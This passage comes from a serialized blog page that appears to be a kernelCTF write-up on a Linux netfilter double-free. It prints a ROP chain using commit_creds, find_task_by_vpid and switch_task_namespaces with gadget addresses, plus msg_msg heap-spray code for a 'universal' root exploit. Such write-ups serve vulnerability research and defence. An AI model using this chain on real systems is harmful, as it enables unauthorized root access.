",{"type":23,"tag":71,"props":58536,"children":58538},{"className":58537},[],[58539],{"type":29,"value":58540},"find_task_by_vpid(1)",{"type":29,"value":58542}," passed through ",{"type":23,"tag":71,"props":58544,"children":58546},{"className":58545},[],[58547],{"type":29,"value":58548},"rax",{"type":29,"value":58550}," to ",{"type":23,"tag":71,"props":58552,"children":58554},{"className":58553},[],[58555],{"type":29,"value":58556},"rdi",{"type":29,"value":58558},". What I ended up going with was a ",{"type":23,"tag":71,"props":58560,"children":58562},{"className":58561},[],[58563],{"type":29,"value":58564},"push rax; jmp qword ptr [rsi + 0x66]; ret",{"type":29,"value":58566}," gadget, that allowed me to push the ",{"type":23,"tag":71,"props":58568,"children":58570},{"className":58569},[],[58571],{"type":29,"value":58548},{"type":29,"value":58573}," value onto the stack and then jump to a controlled location, where I stored a ",{"type":23,"tag":71,"props":58575,"children":58577},{"className":58576},[],[58578],{"type":29,"value":58579},"pop rdi; ret",{"type":29,"value":58581}," gadget to consume the new stack value and restore normal ROP execution. This very minor detour in the ROP flow looks like this:",{"type":23,"tag":98,"props":58583,"children":58584},{},[58585,58590,58603],{"type":23,"tag":102,"props":58586,"children":58587},{},[58588],{"type":29,"value":58589},"We push the value onto the stack (stack pointer regresses)",{"type":23,"tag":102,"props":58591,"children":58592},{},[58593,58595,58601],{"type":29,"value":58594},"We jump to our \"trampoline\" gadget (",{"type":23,"tag":71,"props":58596,"children":58598},{"className":58597},[],[58599],{"type":29,"value":58600},"pop rdi; ret;",{"type":29,"value":58602}," location)",{"type":23,"tag":102,"props":58604,"children":58605},{},[58606,58611],{"type":23,"tag":71,"props":58607,"children":58609},{"className":58608},[],[58610],{"type":29,"value":58579},{"type":29,"value":58612}," consumes the value from the stack (progressing the stack pointer back to where it should be), and then we bounce back to the next gadget",{"type":23,"tag":220,"props":58614,"children":58616},{"className":31417,"code":58615,"language":31419,"meta":7,"style":7},"[...]\n    // commit_creds(&init_cred);\n    rop[pos++] = kaslr_slide + 0xffffffff8112c7c0; // pop rdi; ret;\n    rop[pos++] = kaslr_slide + INIT_CRED;\n    rop[pos++] = kaslr_slide + COMMIT_CREDS;\n\n    // task = find_task_by_vpid(1);\n    rop[pos++] = kaslr_slide + 0xffffffff8112c7c0; // pop rdi; ret;\n    rop[pos++] = 1;\n    rop[pos++] = kaslr_slide + FIND_TASK_BY_VPID;\n    rop[pos++] = kaslr_slide + 0xffffffff8102e2a6; // pop rsi; ret;\n    rop[pos++] = obj_ptr + 0xe0 - 0x66;            // rax -> rdi and resume rop\n    rop[pos++] = kaslr_slide + 0xffffffff81caed31; // push rax; jmp qword ptr [rsi + 0x66];\n\n    // switch_task_namespaces(task, &init_nsproxy);\n    rop[pos++] = kaslr_slide + 0xffffffff8102e2a6; // pop rsi; ret;\n    rop[pos++] = kaslr_slide + INIT_NSPROXY;\n    rop[pos++] = kaslr_slide + SWITCH_TASK_NAMESPACES;\n[...]\n",[58617],{"type":23,"tag":71,"props":58618,"children":58619},{"__ignoreMap":7},[58620,58627,58644,58689,58725,58761,58768,58776,58819,58850,58886,58931,58986,59031,59038,59046,59089,59125,59161],{"type":23,"tag":230,"props":58621,"children":58622},{"class":232,"line":233},[58623],{"type":23,"tag":230,"props":58624,"children":58625},{"style":274},[58626],{"type":29,"value":12649},{"type":23,"tag":230,"props":58628,"children":58629},{"class":232,"line":243},[58630,58635,58640],{"type":23,"tag":230,"props":58631,"children":58632},{"style":274},[58633],{"type":29,"value":58634},"    // commit_creds(&",{"type":23,"tag":230,"props":58636,"children":58637},{"style":262},[58638],{"type":29,"value":58639},"init_cred",{"type":23,"tag":230,"props":58641,"children":58642},{"style":274},[58643],{"type":29,"value":753},{"type":23,"tag":230,"props":58645,"children":58646},{"class":232,"line":252},[58647,58651,58655,58659,58663,58667,58671,58675,58680,58684],{"type":23,"tag":230,"props":58648,"children":58649},{"style":262},[58650],{"type":29,"value":57943},{"type":23,"tag":230,"props":58652,"children":58653},{"style":274},[58654],{"type":29,"value":58458},{"type":23,"tag":230,"props":58656,"children":58657},{"style":268},[58658],{"type":29,"value":53042},{"type":23,"tag":230,"props":58660,"children":58661},{"style":274},[58662],{"type":29,"value":10997},{"type":23,"tag":230,"props":58664,"children":58665},{"style":268},[58666],{"type":29,"value":863},{"type":23,"tag":230,"props":58668,"children":58669},{"style":274},[58670],{"type":29,"value":57964},{"type":23,"tag":230,"props":58672,"children":58673},{"style":268},[58674],{"type":29,"value":6719},{"type":23,"tag":230,"props":58676,"children":58677},{"style":5149},[58678],{"type":29,"value":58679}," 0xffffffff8112c7c0",{"type":23,"tag":230,"props":58681,"children":58682},{"style":274},[58683],{"type":29,"value":50846},{"type":23,"tag":230,"props":58685,"children":58686},{"style":237},[58687],{"type":29,"value":58688}," // pop rdi; ret;\n",{"type":23,"tag":230,"props":58690,"children":58691},{"class":232,"line":280},[58692,58696,58700,58704,58708,58712,58716,58720],{"type":23,"tag":230,"props":58693,"children":58694},{"style":262},[58695],{"type":29,"value":57943},{"type":23,"tag":230,"props":58697,"children":58698},{"style":274},[58699],{"type":29,"value":58458},{"type":23,"tag":230,"props":58701,"children":58702},{"style":268},[58703],{"type":29,"value":53042},{"type":23,"tag":230,"props":58705,"children":58706},{"style":274},[58707],{"type":29,"value":10997},{"type":23,"tag":230,"props":58709,"children":58710},{"style":268},[58711],{"type":29,"value":863},{"type":23,"tag":230,"props":58713,"children":58714},{"style":274},[58715],{"type":29,"value":57964},{"type":23,"tag":230,"props":58717,"children":58718},{"style":268},[58719],{"type":29,"value":6719},{"type":23,"tag":230,"props":58721,"children":58722},{"style":274},[58723],{"type":29,"value":58724}," INIT_CRED;\n",{"type":23,"tag":230,"props":58726,"children":58727},{"class":232,"line":334},[58728,58732,58736,58740,58744,58748,58752,58756],{"type":23,"tag":230,"props":58729,"children":58730},{"style":262},[58731],{"type":29,"value":57943},{"type":23,"tag":230,"props":58733,"children":58734},{"style":274},[58735],{"type":29,"value":58458},{"type":23,"tag":230,"props":58737,"children":58738},{"style":268},[58739],{"type":29,"value":53042},{"type":23,"tag":230,"props":58741,"children":58742},{"style":274},[58743],{"type":29,"value":10997},{"type":23,"tag":230,"props":58745,"children":58746},{"style":268},[58747],{"type":29,"value":863},{"type":23,"tag":230,"props":58749,"children":58750},{"style":274},[58751],{"type":29,"value":57964},{"type":23,"tag":230,"props":58753,"children":58754},{"style":268},[58755],{"type":29,"value":6719},{"type":23,"tag":230,"props":58757,"children":58758},{"style":274},[58759],{"type":29,"value":58760}," COMMIT_CREDS;\n",{"type":23,"tag":230,"props":58762,"children":58763},{"class":232,"line":371},[58764],{"type":23,"tag":230,"props":58765,"children":58766},{"emptyLinePlaceholder":18},[58767],{"type":29,"value":459},{"type":23,"tag":230,"props":58769,"children":58770},{"class":232,"line":391},[58771],{"type":23,"tag":230,"props":58772,"children":58773},{"style":237},[58774],{"type":29,"value":58775},"    // task = find_task_by_vpid(1);\n",{"type":23,"tag":230,"props":58777,"children":58778},{"class":232,"line":400},[58779,58783,58787,58791,58795,58799,58803,58807,58811,58815],{"type":23,"tag":230,"props":58780,"children":58781},{"style":262},[58782],{"type":29,"value":57943},{"type":23,"tag":230,"props":58784,"children":58785},{"style":274},[58786],{"type":29,"value":58458},{"type":23,"tag":230,"props":58788,"children":58789},{"style":268},[58790],{"type":29,"value":53042},{"type":23,"tag":230,"props":58792,"children":58793},{"style":274},[58794],{"type":29,"value":10997},{"type":23,"tag":230,"props":58796,"children":58797},{"style":268},[58798],{"type":29,"value":863},{"type":23,"tag":230,"props":58800,"children":58801},{"style":274},[58802],{"type":29,"value":57964},{"type":23,"tag":230,"props":58804,"children":58805},{"style":268},[58806],{"type":29,"value":6719},{"type":23,"tag":230,"props":58808,"children":58809},{"style":5149},[58810],{"type":29,"value":58679},{"type":23,"tag":230,"props":58812,"children":58813},{"style":274},[58814],{"type":29,"value":50846},{"type":23,"tag":230,"props":58816,"children":58817},{"style":237},[58818],{"type":29,"value":58688},{"type":23,"tag":230,"props":58820,"children":58821},{"class":232,"line":444},[58822,58826,58830,58834,58838,58842,58846],{"type":23,"tag":230,"props":58823,"children":58824},{"style":262},[58825],{"type":29,"value":57943},{"type":23,"tag":230,"props":58827,"children":58828},{"style":274},[58829],{"type":29,"value":58458},{"type":23,"tag":230,"props":58831,"children":58832},{"style":268},[58833],{"type":29,"value":53042},{"type":23,"tag":230,"props":58835,"children":58836},{"style":274},[58837],{"type":29,"value":10997},{"type":23,"tag":230,"props":58839,"children":58840},{"style":268},[58841],{"type":29,"value":863},{"type":23,"tag":230,"props":58843,"children":58844},{"style":5149},[58845],{"type":29,"value":6861},{"type":23,"tag":230,"props":58847,"children":58848},{"style":274},[58849],{"type":29,"value":511},{"type":23,"tag":230,"props":58851,"children":58852},{"class":232,"line":453},[58853,58857,58861,58865,58869,58873,58877,58881],{"type":23,"tag":230,"props":58854,"children":58855},{"style":262},[58856],{"type":29,"value":57943},{"type":23,"tag":230,"props":58858,"children":58859},{"style":274},[58860],{"type":29,"value":58458},{"type":23,"tag":230,"props":58862,"children":58863},{"style":268},[58864],{"type":29,"value":53042},{"type":23,"tag":230,"props":58866,"children":58867},{"style":274},[58868],{"type":29,"value":10997},{"type":23,"tag":230,"props":58870,"children":58871},{"style":268},[58872],{"type":29,"value":863},{"type":23,"tag":230,"props":58874,"children":58875},{"style":274},[58876],{"type":29,"value":57964},{"type":23,"tag":230,"props":58878,"children":58879},{"style":268},[58880],{"type":29,"value":6719},{"type":23,"tag":230,"props":58882,"children":58883},{"style":274},[58884],{"type":29,"value":58885}," FIND_TASK_BY_VPID;\n",{"type":23,"tag":230,"props":58887,"children":58888},{"class":232,"line":462},[58889,58893,58897,58901,58905,58909,58913,58917,58922,58926],{"type":23,"tag":230,"props":58890,"children":58891},{"style":262},[58892],{"type":29,"value":57943},{"type":23,"tag":230,"props":58894,"children":58895},{"style":274},[58896],{"type":29,"value":58458},{"type":23,"tag":230,"props":58898,"children":58899},{"style":268},[58900],{"type":29,"value":53042},{"type":23,"tag":230,"props":58902,"children":58903},{"style":274},[58904],{"type":29,"value":10997},{"type":23,"tag":230,"props":58906,"children":58907},{"style":268},[58908],{"type":29,"value":863},{"type":23,"tag":230,"props":58910,"children":58911},{"style":274},[58912],{"type":29,"value":57964},{"type":23,"tag":230,"props":58914,"children":58915},{"style":268},[58916],{"type":29,"value":6719},{"type":23,"tag":230,"props":58918,"children":58919},{"style":5149},[58920],{"type":29,"value":58921}," 0xffffffff8102e2a6",{"type":23,"tag":230,"props":58923,"children":58924},{"style":274},[58925],{"type":29,"value":50846},{"type":23,"tag":230,"props":58927,"children":58928},{"style":237},[58929],{"type":29,"value":58930}," // pop rsi; ret;\n",{"type":23,"tag":230,"props":58932,"children":58933},{"class":232,"line":471},[58934,58938,58942,58946,58950,58954,58959,58963,58968,58972,58977,58981],{"type":23,"tag":230,"props":58935,"children":58936},{"style":262},[58937],{"type":29,"value":57943},{"type":23,"tag":230,"props":58939,"children":58940},{"style":274},[58941],{"type":29,"value":58458},{"type":23,"tag":230,"props":58943,"children":58944},{"style":268},[58945],{"type":29,"value":53042},{"type":23,"tag":230,"props":58947,"children":58948},{"style":274},[58949],{"type":29,"value":10997},{"type":23,"tag":230,"props":58951,"children":58952},{"style":268},[58953],{"type":29,"value":863},{"type":23,"tag":230,"props":58955,"children":58956},{"style":274},[58957],{"type":29,"value":58958}," obj_ptr ",{"type":23,"tag":230,"props":58960,"children":58961},{"style":268},[58962],{"type":29,"value":6719},{"type":23,"tag":230,"props":58964,"children":58965},{"style":5149},[58966],{"type":29,"value":58967}," 0xe0",{"type":23,"tag":230,"props":58969,"children":58970},{"style":268},[58971],{"type":29,"value":53028},{"type":23,"tag":230,"props":58973,"children":58974},{"style":5149},[58975],{"type":29,"value":58976}," 0x66",{"type":23,"tag":230,"props":58978,"children":58979},{"style":274},[58980],{"type":29,"value":50846},{"type":23,"tag":230,"props":58982,"children":58983},{"style":237},[58984],{"type":29,"value":58985},"            // rax -> rdi and resume rop\n",{"type":23,"tag":230,"props":58987,"children":58988},{"class":232,"line":500},[58989,58993,58997,59001,59005,59009,59013,59017,59022,59026],{"type":23,"tag":230,"props":58990,"children":58991},{"style":262},[58992],{"type":29,"value":57943},{"type":23,"tag":230,"props":58994,"children":58995},{"style":274},[58996],{"type":29,"value":58458},{"type":23,"tag":230,"props":58998,"children":58999},{"style":268},[59000],{"type":29,"value":53042},{"type":23,"tag":230,"props":59002,"children":59003},{"style":274},[59004],{"type":29,"value":10997},{"type":23,"tag":230,"props":59006,"children":59007},{"style":268},[59008],{"type":29,"value":863},{"type":23,"tag":230,"props":59010,"children":59011},{"style":274},[59012],{"type":29,"value":57964},{"type":23,"tag":230,"props":59014,"children":59015},{"style":268},[59016],{"type":29,"value":6719},{"type":23,"tag":230,"props":59018,"children":59019},{"style":5149},[59020],{"type":29,"value":59021}," 0xffffffff81caed31",{"type":23,"tag":230,"props":59023,"children":59024},{"style":274},[59025],{"type":29,"value":50846},{"type":23,"tag":230,"props":59027,"children":59028},{"style":237},[59029],{"type":29,"value":59030}," // push rax; jmp qword ptr [rsi + 0x66];\n",{"type":23,"tag":230,"props":59032,"children":59033},{"class":232,"line":514},[59034],{"type":23,"tag":230,"props":59035,"children":59036},{"emptyLinePlaceholder":18},[59037],{"type":29,"value":459},{"type":23,"tag":230,"props":59039,"children":59040},{"class":232,"line":897},[59041],{"type":23,"tag":230,"props":59042,"children":59043},{"style":237},[59044],{"type":29,"value":59045},"    // switch_task_namespaces(task, &init_nsproxy);\n",{"type":23,"tag":230,"props":59047,"children":59048},{"class":232,"line":960},[59049,59053,59057,59061,59065,59069,59073,59077,59081,59085],{"type":23,"tag":230,"props":59050,"children":59051},{"style":262},[59052],{"type":29,"value":57943},{"type":23,"tag":230,"props":59054,"children":59055},{"style":274},[59056],{"type":29,"value":58458},{"type":23,"tag":230,"props":59058,"children":59059},{"style":268},[59060],{"type":29,"value":53042},{"type":23,"tag":230,"props":59062,"children":59063},{"style":274},[59064],{"type":29,"value":10997},{"type":23,"tag":230,"props":59066,"children":59067},{"style":268},[59068],{"type":29,"value":863},{"type":23,"tag":230,"props":59070,"children":59071},{"style":274},[59072],{"type":29,"value":57964},{"type":23,"tag":230,"props":59074,"children":59075},{"style":268},[59076],{"type":29,"value":6719},{"type":23,"tag":230,"props":59078,"children":59079},{"style":5149},[59080],{"type":29,"value":58921},{"type":23,"tag":230,"props":59082,"children":59083},{"style":274},[59084],{"type":29,"value":50846},{"type":23,"tag":230,"props":59086,"children":59087},{"style":237},[59088],{"type":29,"value":58930},{"type":23,"tag":230,"props":59090,"children":59091},{"class":232,"line":969},[59092,59096,59100,59104,59108,59112,59116,59120],{"type":23,"tag":230,"props":59093,"children":59094},{"style":262},[59095],{"type":29,"value":57943},{"type":23,"tag":230,"props":59097,"children":59098},{"style":274},[59099],{"type":29,"value":58458},{"type":23,"tag":230,"props":59101,"children":59102},{"style":268},[59103],{"type":29,"value":53042},{"type":23,"tag":230,"props":59105,"children":59106},{"style":274},[59107],{"type":29,"value":10997},{"type":23,"tag":230,"props":59109,"children":59110},{"style":268},[59111],{"type":29,"value":863},{"type":23,"tag":230,"props":59113,"children":59114},{"style":274},[59115],{"type":29,"value":57964},{"type":23,"tag":230,"props":59117,"children":59118},{"style":268},[59119],{"type":29,"value":6719},{"type":23,"tag":230,"props":59121,"children":59122},{"style":274},[59123],{"type":29,"value":59124}," INIT_NSPROXY;\n",{"type":23,"tag":230,"props":59126,"children":59127},{"class":232,"line":4526},[59128,59132,59136,59140,59144,59148,59152,59156],{"type":23,"tag":230,"props":59129,"children":59130},{"style":262},[59131],{"type":29,"value":57943},{"type":23,"tag":230,"props":59133,"children":59134},{"style":274},[59135],{"type":29,"value":58458},{"type":23,"tag":230,"props":59137,"children":59138},{"style":268},[59139],{"type":29,"value":53042},{"type":23,"tag":230,"props":59141,"children":59142},{"style":274},[59143],{"type":29,"value":10997},{"type":23,"tag":230,"props":59145,"children":59146},{"style":268},[59147],{"type":29,"value":863},{"type":23,"tag":230,"props":59149,"children":59150},{"style":274},[59151],{"type":29,"value":57964},{"type":23,"tag":230,"props":59153,"children":59154},{"style":268},[59155],{"type":29,"value":6719},{"type":23,"tag":230,"props":59157,"children":59158},{"style":274},[59159],{"type":29,"value":59160}," SWITCH_TASK_NAMESPACES;\n",{"type":23,"tag":230,"props":59162,"children":59163},{"class":232,"line":4534},[59164],{"type":23,"tag":230,"props":59165,"children":59166},{"style":274},[59167],{"type":29,"value":12649},{"type":23,"tag":59,"props":59169,"children":59171},{"id":59170},"grabbing-the-kernelctf-flag",[59172],{"type":29,"value":59173},"Grabbing the kernelCTF flag",{"type":23,"tag":32,"props":59175,"children":59176},{},[59177,59181,59183,59190],{"type":23,"tag":93,"props":59178,"children":59180},{"alt":52351,"src":59179},"/posts/netfilter-universal-root-1-day/flag.png",[],{"type":29,"value":59182},"\nYou can find the kernelCTF exploit in our ",{"type":23,"tag":181,"props":59184,"children":59187},{"href":59185,"rel":59186},"https://github.com/otter-sec/OtterRoot/blob/master/kernelctf/exploit.c",[185],[59188],{"type":29,"value":59189},"GitHub",{"type":29,"value":312},{"type":23,"tag":24,"props":59192,"children":59194},{"id":59193},"universal-exploit",[59195],{"type":29,"value":59196},"Universal exploit",{"type":23,"tag":32,"props":59198,"children":59199},{},[59200],{"type":29,"value":59201},"After exploiting KernelCTF, I decided to use this vulnerability to craft a universal exploit (one that works stably regardless of the target without needing to be modified). I took a different approach to avoid some compatibility and reliability pitfalls, the biggest ones being ROP and anything else that relies on kernel data offsets because those change from build to build. It's not uncommon to compile a list of gadgets for the different builds but it makes more sense just to avoid the trouble entirely.",{"type":23,"tag":59,"props":59203,"children":59205},{"id":59204},"pivot-capability-using-msg_msg-mlistnext-pointer",[59206],{"type":29,"value":59207},"Pivot capability using msg_msg->mlist.next pointer",{"type":23,"tag":32,"props":59209,"children":59210},{},[59211,59213,59219,59221,59226,59228,59234],{"type":29,"value":59212},"Using the double-free vulnerability we can overlap a ",{"type":23,"tag":71,"props":59214,"children":59216},{"className":59215},[],[59217],{"type":29,"value":59218},"msg_msg",{"type":29,"value":59220}," object with with ",{"type":23,"tag":71,"props":59222,"children":59224},{"className":59223},[],[59225],{"type":29,"value":56872},{"type":29,"value":59227}," and control the ",{"type":23,"tag":71,"props":59229,"children":59231},{"className":59230},[],[59232],{"type":29,"value":59233},"m_list.next",{"type":29,"value":59235}," pointer.",{"type":23,"tag":220,"props":59237,"children":59239},{"className":31417,"code":59238,"language":31419,"meta":7,"style":7},"/* one msg_msg structure for each message */\nstruct msg_msg {\n struct list_head m_list;\n long m_type;\n size_t m_ts;  /* message text size */\n struct msg_msgseg *next;\n void *security;\n /* the actual message follows immediately */\n};\n[...]\nstruct list_head {\n struct list_head *next, *prev;\n};\n",[59240],{"type":23,"tag":71,"props":59241,"children":59242},{"__ignoreMap":7},[59243,59251,59267,59288,59301,59319,59344,59360,59368,59375,59382,59390,59422],{"type":23,"tag":230,"props":59244,"children":59245},{"class":232,"line":233},[59246],{"type":23,"tag":230,"props":59247,"children":59248},{"style":237},[59249],{"type":29,"value":59250},"/* one msg_msg structure for each message */\n",{"type":23,"tag":230,"props":59252,"children":59253},{"class":232,"line":243},[59254,59258,59263],{"type":23,"tag":230,"props":59255,"children":59256},{"style":256},[59257],{"type":29,"value":11733},{"type":23,"tag":230,"props":59259,"children":59260},{"style":676},[59261],{"type":29,"value":59262}," msg_msg",{"type":23,"tag":230,"props":59264,"children":59265},{"style":274},[59266],{"type":29,"value":277},{"type":23,"tag":230,"props":59268,"children":59269},{"class":232,"line":252},[59270,59274,59279,59284],{"type":23,"tag":230,"props":59271,"children":59272},{"style":256},[59273],{"type":29,"value":23465},{"type":23,"tag":230,"props":59275,"children":59276},{"style":676},[59277],{"type":29,"value":59278}," list_head",{"type":23,"tag":230,"props":59280,"children":59281},{"style":262},[59282],{"type":29,"value":59283}," m_list",{"type":23,"tag":230,"props":59285,"children":59286},{"style":274},[59287],{"type":29,"value":511},{"type":23,"tag":230,"props":59289,"children":59290},{"class":232,"line":280},[59291,59296],{"type":23,"tag":230,"props":59292,"children":59293},{"style":256},[59294],{"type":29,"value":59295}," long",{"type":23,"tag":230,"props":59297,"children":59298},{"style":274},[59299],{"type":29,"value":59300}," m_type;\n",{"type":23,"tag":230,"props":59302,"children":59303},{"class":232,"line":334},[59304,59309,59314],{"type":23,"tag":230,"props":59305,"children":59306},{"style":256},[59307],{"type":29,"value":59308}," size_t",{"type":23,"tag":230,"props":59310,"children":59311},{"style":274},[59312],{"type":29,"value":59313}," m_ts;",{"type":23,"tag":230,"props":59315,"children":59316},{"style":237},[59317],{"type":29,"value":59318},"  /* message text size */\n",{"type":23,"tag":230,"props":59320,"children":59321},{"class":232,"line":371},[59322,59326,59331,59335,59340],{"type":23,"tag":230,"props":59323,"children":59324},{"style":256},[59325],{"type":29,"value":23465},{"type":23,"tag":230,"props":59327,"children":59328},{"style":676},[59329],{"type":29,"value":59330}," msg_msgseg",{"type":23,"tag":230,"props":59332,"children":59333},{"style":256},[59334],{"type":29,"value":12147},{"type":23,"tag":230,"props":59336,"children":59337},{"style":262},[59338],{"type":29,"value":59339},"next",{"type":23,"tag":230,"props":59341,"children":59342},{"style":274},[59343],{"type":29,"value":511},{"type":23,"tag":230,"props":59345,"children":59346},{"class":232,"line":391},[59347,59351,59355],{"type":23,"tag":230,"props":59348,"children":59349},{"style":256},[59350],{"type":29,"value":52822},{"type":23,"tag":230,"props":59352,"children":59353},{"style":268},[59354],{"type":29,"value":12147},{"type":23,"tag":230,"props":59356,"children":59357},{"style":274},[59358],{"type":29,"value":59359},"security;\n",{"type":23,"tag":230,"props":59361,"children":59362},{"class":232,"line":400},[59363],{"type":23,"tag":230,"props":59364,"children":59365},{"style":237},[59366],{"type":29,"value":59367}," /* the actual message follows immediately */\n",{"type":23,"tag":230,"props":59369,"children":59370},{"class":232,"line":444},[59371],{"type":23,"tag":230,"props":59372,"children":59373},{"style":274},[59374],{"type":29,"value":450},{"type":23,"tag":230,"props":59376,"children":59377},{"class":232,"line":453},[59378],{"type":23,"tag":230,"props":59379,"children":59380},{"style":274},[59381],{"type":29,"value":12649},{"type":23,"tag":230,"props":59383,"children":59384},{"class":232,"line":462},[59385],{"type":23,"tag":230,"props":59386,"children":59387},{"style":274},[59388],{"type":29,"value":59389},"struct list_head {\n",{"type":23,"tag":230,"props":59391,"children":59392},{"class":232,"line":471},[59393,59397,59401,59405,59409,59413,59417],{"type":23,"tag":230,"props":59394,"children":59395},{"style":256},[59396],{"type":29,"value":23465},{"type":23,"tag":230,"props":59398,"children":59399},{"style":676},[59400],{"type":29,"value":59278},{"type":23,"tag":230,"props":59402,"children":59403},{"style":256},[59404],{"type":29,"value":12147},{"type":23,"tag":230,"props":59406,"children":59407},{"style":262},[59408],{"type":29,"value":59339},{"type":23,"tag":230,"props":59410,"children":59411},{"style":274},[59412],{"type":29,"value":684},{"type":23,"tag":230,"props":59414,"children":59415},{"style":268},[59416],{"type":29,"value":6909},{"type":23,"tag":230,"props":59418,"children":59419},{"style":274},[59420],{"type":29,"value":59421},"prev;\n",{"type":23,"tag":230,"props":59423,"children":59424},{"class":232,"line":500},[59425],{"type":23,"tag":230,"props":59426,"children":59427},{"style":274},[59428],{"type":29,"value":450},{"type":23,"tag":32,"props":59430,"children":59431},{},[59432,59434,59440,59442,59447],{"type":29,"value":59433},"This is particularly interesting if we send messages of different sizes on the same queue, making the ",{"type":23,"tag":71,"props":59435,"children":59437},{"className":59436},[],[59438],{"type":29,"value":59439},"mlist.next",{"type":29,"value":59441}," pointer of a message that lives in one cache point into a different cache. So, by spraying ",{"type":23,"tag":71,"props":59443,"children":59445},{"className":59444},[],[59446],{"type":29,"value":59218},{"type":29,"value":59448}," in kmalloc-cg-256 with a secondary message in each queue living in kmalloc-cg-1k.",{"type":23,"tag":32,"props":59450,"children":59451},{},[59452,59454,59459,59461],{"type":29,"value":59453},"By incrementing the next pointer of our controllable ",{"type":23,"tag":71,"props":59455,"children":59457},{"className":59456},[],[59458],{"type":29,"value":59218},{"type":29,"value":59460}," by 256, we are able to make it point to the different secondary message that is already referenced by a different primary message, creating a duplicated reference. We allow an easy way of pivoting our double-free capabilities to other caches and attacking a greater variety of objects.\n",{"type":23,"tag":93,"props":59462,"children":59464},{"alt":52351,"src":59463},"/posts/netfilter-universal-root-1-day/msg-msg.png",[],{"type":23,"tag":220,"props":59466,"children":59468},{"className":31417,"code":59467,"language":31419,"meta":7,"style":7},"[...]\n    // Spray msg_msg in kmalloc-256 and kmalloc-1k\n    msg_t *msg = calloc(1, sizeof(msg_t) + 0xe8 - 48);\n    int qid[SPRAY];\n    for (int i = 0; i \u003C SPRAY; i++)\n    {\n        qid[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);\n        if (qid[i] \u003C 0)\n        {\n            perror(\"[-] msgget\");\n        }\n        *(uint32_t *)msg->mtext = i;\n        *(uint64_t *)&msg->mtext[8] = 0xdeadbeefcafebabe;\n        msg->mtype = MTYPE_PRIMARY;\n        msgsnd(qid[i], msg, 0xe8 - 48, 0);\n        msg->mtype = MTYPE_SECONDARY;\n        msgsnd(qid[i], msg, 1024 - 48, 0);\n    }\n    // Prepare evil msg\n    int evilqid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);\n    if (evilqid \u003C 0)\n    {\n        perror(\"[-] msgget\");\n    }\n[...] // trigger double-free in kmalloc-256\n",[59469],{"type":23,"tag":71,"props":59470,"children":59471},{"__ignoreMap":7},[59472,59479,59487,59513,59530,59578,59585,59625,59657,59664,59685,59692,59739,59803,59829,59875,59899,59943,59950,59958,59994,60018,60025,60045,60052],{"type":23,"tag":230,"props":59473,"children":59474},{"class":232,"line":233},[59475],{"type":23,"tag":230,"props":59476,"children":59477},{"style":274},[59478],{"type":29,"value":12649},{"type":23,"tag":230,"props":59480,"children":59481},{"class":232,"line":243},[59482],{"type":23,"tag":230,"props":59483,"children":59484},{"style":274},[59485],{"type":29,"value":59486},"    // Spray msg_msg in kmalloc-256 and kmalloc-1k\n",{"type":23,"tag":230,"props":59488,"children":59489},{"class":232,"line":252},[59490,59495,59499,59503,59508],{"type":23,"tag":230,"props":59491,"children":59492},{"style":274},[59493],{"type":29,"value":59494},"    msg_t *msg = calloc(1, ",{"type":23,"tag":230,"props":59496,"children":59497},{"style":676},[59498],{"type":29,"value":57101},{"type":23,"tag":230,"props":59500,"children":59501},{"style":274},[59502],{"type":29,"value":302},{"type":23,"tag":230,"props":59504,"children":59505},{"style":676},[59506],{"type":29,"value":59507},"msg_t",{"type":23,"tag":230,"props":59509,"children":59510},{"style":274},[59511],{"type":29,"value":59512},") + 0xe8 - 48);\n",{"type":23,"tag":230,"props":59514,"children":59515},{"class":232,"line":280},[59516,59520,59525],{"type":23,"tag":230,"props":59517,"children":59518},{"style":256},[59519],{"type":29,"value":21393},{"type":23,"tag":230,"props":59521,"children":59522},{"style":262},[59523],{"type":29,"value":59524}," qid",{"type":23,"tag":230,"props":59526,"children":59527},{"style":274},[59528],{"type":29,"value":59529},"[SPRAY];\n",{"type":23,"tag":230,"props":59531,"children":59532},{"class":232,"line":334},[59533,59537,59541,59545,59549,59553,59557,59561,59565,59570,59574],{"type":23,"tag":230,"props":59534,"children":59535},{"style":866},[59536],{"type":29,"value":5371},{"type":23,"tag":230,"props":59538,"children":59539},{"style":274},[59540],{"type":29,"value":664},{"type":23,"tag":230,"props":59542,"children":59543},{"style":256},[59544],{"type":29,"value":21364},{"type":23,"tag":230,"props":59546,"children":59547},{"style":274},[59548],{"type":29,"value":56317},{"type":23,"tag":230,"props":59550,"children":59551},{"style":268},[59552],{"type":29,"value":863},{"type":23,"tag":230,"props":59554,"children":59555},{"style":5149},[59556],{"type":29,"value":5386},{"type":23,"tag":230,"props":59558,"children":59559},{"style":274},[59560],{"type":29,"value":53006},{"type":23,"tag":230,"props":59562,"children":59563},{"style":268},[59564],{"type":29,"value":8143},{"type":23,"tag":230,"props":59566,"children":59567},{"style":274},[59568],{"type":29,"value":59569}," SPRAY; i",{"type":23,"tag":230,"props":59571,"children":59572},{"style":268},[59573],{"type":29,"value":53042},{"type":23,"tag":230,"props":59575,"children":59576},{"style":274},[59577],{"type":29,"value":4516},{"type":23,"tag":230,"props":59579,"children":59580},{"class":232,"line":371},[59581],{"type":23,"tag":230,"props":59582,"children":59583},{"style":274},[59584],{"type":29,"value":31494},{"type":23,"tag":230,"props":59586,"children":59587},{"class":232,"line":391},[59588,59593,59597,59601,59606,59611,59616,59620],{"type":23,"tag":230,"props":59589,"children":59590},{"style":262},[59591],{"type":29,"value":59592},"        qid",{"type":23,"tag":230,"props":59594,"children":59595},{"style":274},[59596],{"type":29,"value":56369},{"type":23,"tag":230,"props":59598,"children":59599},{"style":268},[59600],{"type":29,"value":863},{"type":23,"tag":230,"props":59602,"children":59603},{"style":294},[59604],{"type":29,"value":59605}," msgget",{"type":23,"tag":230,"props":59607,"children":59608},{"style":274},[59609],{"type":29,"value":59610},"(IPC_PRIVATE, ",{"type":23,"tag":230,"props":59612,"children":59613},{"style":5149},[59614],{"type":29,"value":59615},"0666",{"type":23,"tag":230,"props":59617,"children":59618},{"style":268},[59619],{"type":29,"value":6607},{"type":23,"tag":230,"props":59621,"children":59622},{"style":274},[59623],{"type":29,"value":59624}," 